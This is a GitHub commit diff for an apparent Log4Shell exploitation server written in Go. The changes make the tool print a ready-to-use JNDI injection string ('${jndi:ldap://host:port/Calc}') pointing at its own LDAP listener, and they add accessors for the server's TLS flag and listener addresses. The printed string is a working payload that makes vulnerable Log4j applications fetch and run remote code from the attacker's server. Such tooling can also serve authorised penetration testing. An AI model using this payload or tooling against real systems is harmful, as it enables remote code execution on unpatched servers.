File tree Expand file tree Collapse file tree 2 files changed +30
-0
lines changed
Expand file tree Collapse file tree 2 files changed +30
-0
lines changed Original file line number Diff line number Diff line change 55 "flag"
66 "fmt"
77 "log"
8+ "net"
89 "os"
910 "os/signal"
1011
@@ -83,6 +84,20 @@ func main() {
8384 // start log4shell server
8485 server , err := log4shell .New (& config )
8586 checkError (err )
87+
88+ // print one example for obfuscate string easily
89+ var ldap string
90+ if server .IsEnableTLS () {
91+ ldap = "ldaps"
92+ } else {
93+ ldap = "ldap"
94+ }
95+ _ , port , err := net .SplitHostPort (server .LDAPAddress ())
96+ checkError (err )
97+ address := net .JoinHostPort (config .Hostname , port )
98+ example := fmt .Sprintf ("${jndi:%s://%s/Calc}" , ldap , address )
99+ fmt .Printf ("example: %s\n \n " , example )
100+
86101 err = server .Start ()
87102 checkError (err )
88103
Original file line number Diff line number Diff line change @@ -264,3 +264,18 @@ func (srv *Server) Stop() error {
264264func (srv * Server ) Secret () string {
265265 return srv .secret
266266}
267+
268+ // IsEnableTLS is used to get the log4shell server is enabled TLS.
269+ func (srv * Server ) IsEnableTLS () bool {
270+ return srv .enableTLS
271+ }
272+
273+ // HTTPAddress is used to get the http listener address.
274+ func (srv * Server ) HTTPAddress () string {
275+ return srv .httpListener .Addr ().String ()
276+ }
277+
278+ // LDAPAddress is used to get the ldap listener address.
279+ func (srv * Server ) LDAPAddress () string {
280+ return srv .ldapListener .Addr ().String ()
281+ }
You can’t perform that action at this time.
0 commit comments